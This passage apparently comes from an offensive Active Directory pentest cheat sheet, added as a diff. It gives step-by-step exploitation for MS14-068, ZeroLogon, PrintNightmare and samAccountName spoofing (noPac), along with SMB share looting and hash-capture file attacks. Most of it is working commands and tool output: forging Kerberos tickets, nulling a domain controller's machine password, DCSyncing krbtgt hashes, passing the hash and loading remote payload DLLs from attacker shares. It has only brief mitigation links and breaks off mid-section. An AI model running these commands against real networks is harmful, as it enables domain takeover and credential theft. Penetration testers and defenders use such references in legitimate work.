+ ```
+* CrackMapExec: `crackmapexec ldap DC1.lab.local -u username -p password -k --get-sid`
+
+```bash
+Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
+```
+
+Generate a ticket with `metasploit` or `pykek`
+
+```powershell
+Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
+ Name Current Setting Required Description
+ ---- --------------- -------- -----------
+ DOMAIN LABDOMAIN.LOCAL yes The Domain (upper case) Ex: DEMO.LOCAL
+ PASSWORD P@ssw0rd yes The Domain User password
+ RHOSTS 10.10.10.10 yes The target address range or CIDR identifier
+ RPORT 88 yes The target port
+ Timeout 10 yes The TCP timeout to establish connection and read data
+ USER lambda yes The Domain User
+ USER_SID S-1-5-21-297520375-2634728305-5197346142-1106 yes The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
+```
+
+```powershell
+# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
+$ git clone https://github.com/SecWiki/windows-kernel-exploits
+$ python ./ms14-068.py -u @ -s -d -p
+$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
+$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
+$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
+-1105
+ [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
+ [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
+ [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
+ [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
+ [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
+ [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
+ [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
+ [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
+ [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
+```
+
+Then use `mimikatz` to load the ticket.
+
+```powershell
+mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
+```
+
+
+#### Mitigations
+
+* Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780
+
+
+### ZeroLogon
+
+> CVE-2020-1472
+
+White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055
+
+Exploit steps from the white paper
+
+1. Spoofing the client credential
+2. Disabling signing and sealing
+3. Spoofing a call
+4. Changing a computer's AD password to null
+5. From password change to domain admin
+6. :warning: reset the computer's AD password in a proper way to avoid any Deny of Service
+
+* `cve-2020-1472-exploit.py` - Python script from [dirkjanm](https://github.com/dirkjanm)
+ ```powershell
+ # Check (https://github.com/SecuraBV/CVE-2020-1472)
+ proxychains python3 zerologon_tester.py DC01 172.16.1.5
+
+ $ git clone https://github.com/dirkjanm/CVE-2020-1472.git
+
+ # Activate a virtual env to install impacket
+ $ python3 -m venv venv
+ $ source venv/bin/activate
+ $ pip3 install .
+
+ # Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
+ proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5
+
+ # Find the old NT hash of the DC
+ proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'
+
+ # Restore password from secretsdump
+ # secretsdump will automatically dump the plaintext machine password (hex encoded)
+ # when dumping the local registry secrets on the newest version
+ python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
+ deactivate
+ ```
+
+* `nccfsas` - .NET binary for Cobalt Strike's execute-assembly
+ ```powershell
+ git clone https://github.com/nccgroup/nccfsas
+ # Check
+ execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local
+
+ # Resetting the machine account password
+ execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset
+
+ # Testing from a non Domain-joined machine
+ execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch
+
+ # Now reset the password back
+ ```
+
+* `Mimikatz` - 2.2.0 20200917 Post-Zerologon
+ ```powershell
+ privilege::debug
+ # Check for the CVE
+ lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$
+
+ # Exploit the CVE and set the computer account's password to ""
+ lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit
+
+ # Execute dcsync to extract some hashes
+ lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
+ lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
+
+ # Pass The Hash with the extracted Domain Admin hash
+ sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN
+
+ # Use IP address instead of FQDN to force NTLM with Windows APIs
+ # Reset password to Waza1234/Waza1234/Waza1234/
+ # https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
+ lsadump::postzerologon /target:10.10.10.10 /account:DC01$
+ ```
+
+* `CrackMapExec` - only check
+ ```powershell
+ crackmapexec smb 10.10.10.10 -u username -p password -d domain -M zerologon
+ ```
+
+A 2nd approach to exploit zerologon is done by relaying authentication.
+
+This technique, [found by dirkjanm](https://dirkjanm.io/a-different-way-of-abusing-zerologon), requires more prerequisites but has the advantage of having no impact on service continuity.
+The following prerequisites are needed:
+* A domain account
+* One DC running the `PrintSpooler` service
+* Another DC vulnerable to zerologon
+
+* `ntlmrelayx` - from Impacket and any tool such as [`printerbug.py`](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)
+ ```powershell
+ # Check if one DC is running the PrintSpooler service
+ rpcdump.py 10.10.10.10 | grep -A 6 "spoolsv"
+
+ # Setup ntlmrelay in one shell
+ ntlmrelayx.py -t dcsync://DC01.LAB.LOCAL -smb2support
+
+ #Trigger printerbug in 2nd shell
+ python3 printerbug.py 'LAB.LOCAL'/joe:Password123@10.10.10.10 10.10.10.12
+ ```
+
+### PrintNightmare
+
+> CVE-2021-1675 / CVE-2021-34527
+
+The DLL will be stored in `C:\Windows\System32\spool\drivers\x64\3\`.
+The exploit will execute the DLL either from the local filesystem or a remote share.
+
+Requirements:
+* **Spooler Service** enabled (Mandatory)
+* Server with patches < June 2021
+* DC with `Pre Windows 2000 Compatibility` group
+* Server with registry key `HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall` = (DWORD) 1
+* Server with registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` = (DWORD) 0
+
+
+**Detect the vulnerability**:
+* Impacket - [rpcdump](https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py)
+ ```ps1
+ python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
+ Protocol: [MS-RPRN]: Print System Remote Protocol
+ ```
+* [It Was All A Dream](https://github.com/byt3bl33d3r/ItWasAllADream)
+ ```ps1
+ git clone https://github.com/byt3bl33d3r/ItWasAllADream
+ cd ItWasAllADream && poetry install && poetry shell
+ itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
+ docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10
+ ```
+
+**Payload Hosting**:
+* The payload can be hosted on Impacket SMB server since [PR #1109](https://github.com/SecureAuthCorp/impacket/pull/1109):
+```ps1
+python3 ./smbserver.py share /tmp/smb/
+```
+* Using [Invoke-BuildAnonymousSMBServer](https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer/blob/main/Invoke-BuildAnonymousSMBServer.ps1) (Admin rights required on host):
+```ps1
+Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable
+```
+* Using WebDav with [SharpWebServer](https://github.com/mgeeky/SharpWebServer) (Doesn't require admin rights):
+```ps1
+SharpWebServer.exe port=8888 dir=c:\users\public verbose=true
+```
+When using WebDav instead of SMB, you must add `@[PORT]` to the hostname in the URI, e.g.: `\\172.16.1.5@8888\Downloads\beacon.dll`
+WebDav client **must** be activated on exploited target. By default it is not activated on Windows workstations (you have to `net start webclient`) and it's not installed on servers. Here is how to detect activated webdav:
+```ps1
+cme smb -u user -p password -d domain.local -M webdav [TARGET]
+```
+
+**Trigger the exploit**:
+
+* [SharpNightmare](https://github.com/cube0x0/CVE-2021-1675)
+ ```powershell
+ # require a modified Impacket: https://github.com/cube0x0/impacket
+ python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
+ python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'
+ ## LPE
+ SharpPrintNightmare.exe C:\addCube.dll
+ ## RCE using existing context
+ SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
+ ## RCE using runas /netonly
+ SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
+ ```
+* [Invoke-Nightmare](https://github.com/calebstewart/CVE-2021-1675)
+ ```powershell
+ ## LPE only (PS1 + DLL)
+ Import-Module .\cve-2021-1675.ps1
+ Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
+ Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*"
+ Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
+ ```
+* [Mimikatz v2.2.0-20210709+](https://github.com/gentilkiwi/mimikatz/releases)
+ ```powershell
+ ## LPE
+ misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll
+ ## RCE
+ misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50
+ ```
+* [PrintNightmare - @outflanknl](https://github.com/outflanknl/PrintNightmare)
+ ```powershell
+ PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password]
+ ```
+
+**Debug informations**
+
+| Error | Message | Debug |
+|--------|---------------------|------------------------------------------|
+| 0x5 | `rpc_s_access_denied` | Permissions on the file in the SMB share |
+| 0x525 | `ERROR_NO_SUCH_USER` | The specified account does not exist. |
+| 0x180 | unknown error code | Share is not SMB2 |
+
+
+### samAccountName spoofing
+
+> During S4U2Self, the KDC will try to append a '\$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '\$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC\$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.
+
+**Requirements**
+
+* MachineAccountQuota > 0
+
+**Check for exploitation**
+
+0. Check the MachineAccountQuota of the account
+ ```powershell
+ crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost 10.10.10.10 -M MAQ
+ StandIn.exe --object ms-DS-MachineAccountQuota=*
+ ```
+1. Check if the DC is vulnerable
+ ```powershell
+ crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopac
+ ```
+
+**Exploitation**
+
+0. Create a computer account
+ ```powershell
+ impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'
+
+ powermad@windows> . .\Powermad.ps1
+ powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
+ powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
+
+ sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputer -MachinePassword ComputerPassword
+ ```
+1. Clear the controlled machine account `servicePrincipalName` attribute
+ ```ps1
+ impacket@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController
+
+ powershell@windows> . .\Powerview.ps1
+ powershell@windows> Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose
+ ```
+2. (CVE-2021-42278) Change the controlled machine account `sAMAccountName` to a Domain Controller's name without the trailing `$`
+ ```ps1
+ # https://github.com/SecureAuthCorp/impacket/pull/1224
+ impacket@linux> renameMachine.py -current-name 'ControlledComputer$' -new-name 'DomainController' -dc-ip 'DomainController.domain.local' 'domain.local'/'user':'password'
+
+ powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose
+ ```
+3. Request a TGT for the controlled machine account
+ ```ps1
+ impacket@linux> getTGT.py -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController':'ComputerPassword'
+
+ cmd@windows> Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap
+ ```
+4. Reset the controlled machine account sAMAccountName to its old value
+ ```ps1
+ impacket@linux> renameMachine.py -current-name 'DomainController' -new-name 'ControlledComputer$' 'domain.local'/'user':'password'
+
+ powermad@windows> Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose
+ ```
+5. (CVE-2021-42287) Request a service ticket with `S4U2self` by presenting the TGT obtained before
+ ```ps1
+ # https://github.com/SecureAuthCorp/impacket/pull/1202
+ impacket@linux> KRB5CCNAME='DomainController.ccache' getST.py -self -impersonate 'DomainAdmin' -spn 'cifs/DomainController.domain.local' -k -no-pass -dc-ip 'DomainController.domain.local' 'domain.local'/'DomainController'
+
+ cmd@windows> Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]
+ ```
+6. DCSync: `KRB5CCNAME='DomainAdmin.ccache' secretsdump.py -just-dc-user 'krbtgt' -k -no-pass -dc-ip 'DomainController.domain.local' @'DomainController.domain.local'`
+
+Automated exploitation:
+
+* [cube0x0/noPac](https://github.com/cube0x0/noPac) - Windows
+ ```powershell
+ noPac.exe scan -domain htb.local -user user -pass 'password123'
+ noPac.exe -domain htb.local -user domain_user -pass 'Password123!' /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service cifs /ptt
+ noPac.exe -domain htb.local -user domain_user -pass "Password123!" /dc dc.htb.local /mAccount demo123 /mPassword Password123! /service ldaps /ptt /impersonate Administrator
+ ```
+* [Ridter/noPac](https://github.com/Ridter/noPac) - Linux
+ ```ps1
+ python noPac.py 'domain.local/user' -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0' -dc-ip 10.10.10.10 -use-ldap -dump
+ ```
+* [WazeHell/sam-the-admin](https://github.com/WazeHell/sam-the-admin)
+ ```ps1
+ $ python3 sam_the_admin.py "domain/user:password" -dc-ip 10.10.10.10 -shell
+ [*] Selected Target dc.caltech.white
+ [*] Total Domain Admins 11
+ [*] will try to impersonat gaylene.dreddy
+ [*] Current ms-DS-MachineAccountQuota = 10
+ [*] Adding Computer Account "SAMTHEADMIN-11$"
+ [*] MachineAccount "SAMTHEADMIN-11$" password = EhFMT%mzmACL
+ [*] Successfully added machine account SAMTHEADMIN-11$ with password EhFMT%mzmACL.
+ [*] SAMTHEADMIN-11$ object = CN=SAMTHEADMIN-11,CN=Computers,DC=caltech,DC=white
+ [*] SAMTHEADMIN-11$ sAMAccountName == dc
+ [*] Saving ticket in dc.ccache
+ [*] Resting the machine account to SAMTHEADMIN-11$
+ [*] Restored SAMTHEADMIN-11$ sAMAccountName to original value
+ [*] Using TGT from cache
+ [*] Impersonating gaylene.dreddy
+ [*] Requesting S4U2self
+ [*] Saving ticket in gaylene.dreddy.ccache
+ [!] Launching semi-interactive shell - Careful what you execute
+ C:\Windows\system32>whoami
+ nt authority\system
+ ```
+* [ly4k/Pachine](https://github.com/ly4k/Pachine)
+ ```powershell
+ usage: pachine.py [-h] [-scan] [-spn SPN] [-impersonate IMPERSONATE] [-domain-netbios NETBIOSNAME] [-computer-name NEW-COMPUTER-NAME$] [-computer-pass password] [-debug] [-method {SAMR,LDAPS}] [-port {139,445,636}] [-baseDN DC=test,DC=local]
+ [-computer-group CN=Computers,DC=test,DC=local] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] -dc-host hostname [-dc-ip ip]
+ [domain/]username[:password]
+ $ python3 pachine.py -dc-host dc.domain.local -scan 'domain.local/john:Passw0rd!'
+ $ python3 pachine.py -dc-host dc.domain.local -spn cifs/dc.domain.local -impersonate administrator 'domain.local/john:Passw0rd!'
+ $ export KRB5CCNAME=$PWD/administrator@domain.local.ccache
+ $ impacket-psexec -k -no-pass 'domain.local/administrator@dc.domain.local'
+ ```
+
+**Mitigations**:
+* [KB5007247 - Windows Server 2012 R2](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007247-monthly-rollup-2c3b6017-82f4-4102-b1e2-36f366bf3520)
+* [KB5008601 - Windows Server 2016](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008601-os-build-14393-4771-out-of-band-c8cd33ce-3d40-4853-bee4-a7cc943582b9)
+* [KB5008602 - Windows Server 2019](https://support.microsoft.com/en-us/topic/november-14-2021-kb5008602-os-build-17763-2305-out-of-band-8583a8a3-ebed-4829-b285-356fb5aaacd7)
+* [KB5007205 - Windows Server 2022](https://support.microsoft.com/en-us/topic/november-9-2021-kb5007205-os-build-20348-350-af102e6f-cc7c-4cd4-8dc2-8b08d73d2b31)
+* [KB5008102](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e)
+* [KB5008380](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)
+
+
+## Open Shares
+
+> Some shares can be accessible without authentication, explore them to find some juicy files
+
+* [ShawnDEvans/smbmap - a handy SMB enumeration tool](https://github.com/ShawnDEvans/smbmap)
+ ```powershell
+ smbmap -H 10.10.10.10 # null session
+ smbmap -H 10.10.10.10 -R # recursive listing
+ smbmap -H 10.10.10.10 -u invaliduser # guest smb session
+ smbmap -H 10.10.10.10 -d "DOMAIN.LOCAL" -u "USERNAME" -p "Password123*"
+ ```
+
+* [byt3bl33d3r/pth-smbclient from path-toolkit](https://github.com/byt3bl33d3r/pth-toolkit)
+ ```powershell
+ pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/Share
+ pth-smbclient -U "AD/ADMINISTRATOR%aad3b435b51404eeaad3b435b51404ee:2[...]A" //192.168.10.100/C$
+ ls # list files
+ cd # move inside a folder
+ get # download files
+ put # replace a file
+ ```
+
+* [SecureAuthCorp/smbclient from Impacket](https://github.com/SecureAuthCorp/impacket)
+ ```powershell
+ smbclient -I 10.10.10.100 -L ACTIVE -N -U ""
+ Sharename Type Comment
+ --------- ---- -------
+ ADMIN$ Disk Remote Admin
+ C$ Disk Default share
+ IPC$ IPC Remote IPC
+ NETLOGON Disk Logon server share
+ Replication Disk
+ SYSVOL Disk Logon server share
+ Users Disk
+ use Sharename # select a Sharename
+ cd Folder # move inside a folder
+ ls # list files
+ ```
+
+* [smbclient - from Samba, ftp-like client to access SMB/CIFS resources on servers](#)
+ ```powershell
+ smbclient -U username //10.0.0.1/SYSVOL
+ smbclient //10.0.0.1/Share
+
+ # Download a folder recursively
+ smb: \> mask ""
+ smb: \> recurse ON
+ smb: \> prompt OFF
+ smb: \> lcd '/path/to/go/'
+ smb: \> mget *
+ ```
+
+
+* [SnaffCon/Snaffler - a tool for pentesters to help find delicious candy](https://github.com/SnaffCon/Snaffler)
+ ```ps1
+ snaffler.exe -s - snaffler.log
+
+ # Snaffle all the computers in the domain
+ ./Snaffler.exe -d domain.local -c -s
+
+ # Snaffle specific computers
+ ./Snaffler.exe -n computer1,computer2 -s
+ â
+ # Snaffle a specific directory
+ ./Snaffler.exe -i C:\ -s
+ ```
+
+
+## SCF and URL file attack against writeable share
+
+Theses attacks can be automated with [Farmer.exe](https://github.com/mdsecactivebreach/Farmer) and [Crop.exe](https://github.com/mdsecactivebreach/Farmer/tree/main/crop)
+
+```ps1
+# Farmer to receive auth
+farmer.exe [seconds] [output]
+farmer.exe 8888 0 c:\windows\temp\test.tmp # undefinitely
+farmer.exe 8888 60 # one minute
+
+# Crop can be used to create various file types that will trigger SMB/WebDAV connections for poisoning file shares during hash collection attacks
+crop.exe